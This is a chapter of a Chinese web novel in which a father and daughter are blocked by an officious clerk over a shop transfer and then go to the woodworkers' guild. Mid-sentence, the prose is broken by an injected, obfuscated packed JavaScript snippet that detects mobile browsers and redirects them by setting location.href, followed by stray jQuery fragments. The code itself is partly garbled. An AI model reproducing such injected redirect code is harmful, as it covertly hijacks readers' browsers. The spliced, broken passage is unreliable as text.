10. 第 10 章
钟舜华,“家中可还有别的男丁?本官翻户籍册时瞧见……你似乎还有兄长和侄儿?”

    钟成栋心里咯噔一下,面上仍维持着笑:“回大人,我与兄长已分家多年,并未住在一处。”

    “哦——”书吏拉长了调子,指节敲了敲契纸,“可分家又不是分宗,你们终究都是钟氏后人。如今你明明还在世,却要将铺主变更为一个女儿家……”

    钟成栋有些急了,抬起空荡荡的袖子:“大人,您也瞧见了,我这模样……”

    “住口!问你了吗?”书吏呵斥一声,“本官还没说完,插什么话?”

    钟成栋被吓得一抖,诺诺低下头。

    钟舜华看了眼书吏,扶着钟成栋残缺的胳膊,没作声。

    书吏耍了一通威风,舒心抿了口茶,摇头晃脑地继续道:“这事儿,本官办不了。按规矩,你们得先让请木作行的行首出具一份担保书来,证明受让人的确有能力承继祖业,没有利益勾连,才可办理。”他撩起眼皮,目光在钟舜华身上一扫,虽未明说,那轻蔑的意思却很明白。

    “行首担保书?”钟成栋愣住,这事他先前从未听说过。

    “本官也是按规矩办事。”书吏往椅背上一靠,摆出送客的姿态,“拿到了担保文书,再来不迟。”

    话说这地步,也不得不走人了。

    钟舜华走到案前,取回自家的布包,朝书吏笑了笑。

    书吏不耐烦地挥挥手。

    父女俩被不软不硬地挡了出来,站在市易司门外的石阶上,秋风吹得脸皮发涩。

    钟成栋愁得眉头都拧成了疙瘩,半晌,重重叹了一口气:“罢了,既然是规矩,咱们就去求一求周行首。他老人家虽然严厉,但一向看重手艺,若见了你的本事,未必不肯成全。”

    “行。”钟舜华牵来驴车,招呼钟成栋坐上去。

    正要走时,忽听得院内传来惊呼:“不好了!办事堂的长案塌了!快来人!何大人被砸到腿了!”

    钟舜华弯弯唇,一扬鞭,驾着驴车走了。

    .

    京城木作行会的会馆也坐落在繁华的东城,是一座三进的大院,门脸比一般的勋贵人家还气派些,黑底金字的匾额上刻着书法大家亲题的“巧夺天工”四个大字。

    开了几十年家具铺的钟成栋也算是是行会里

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16908837|192433||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    的老人,却鲜少踏足此地,这会儿站在那高门槛前,竟有些踌躇。

    “爹,进去吧。”钟舜华握了握他的胳膊。

    钟成栋“诶”了一声,整了整衣襟,正要上前叩门,侧边巷子里却拐出两个人,急匆匆往这边赶来。

    “二弟——二弟!”

    打头的是个富态中年男子,穿着绸缎袍子,面容与钟成栋有四五分相似,只是眉眼间的精明算计与钟成栋截然不同。他身后还跟着个年轻男子,瞧着二十七八的模样,面色虚浮,眼神飘忽。

    正是钟老大钟成梁,和他那嗜赌成性的儿子钟文斌。

    “大哥。”钟成栋脸色难看地敷衍拱手。

    “二弟!真巧啊!”钟成梁三步并作两步上前,一把抓住钟成栋的胳膊,脸上堆满热络的笑,“我听说你要来行会办事,特意带着文

本章未完,请点击下一页继续阅读>>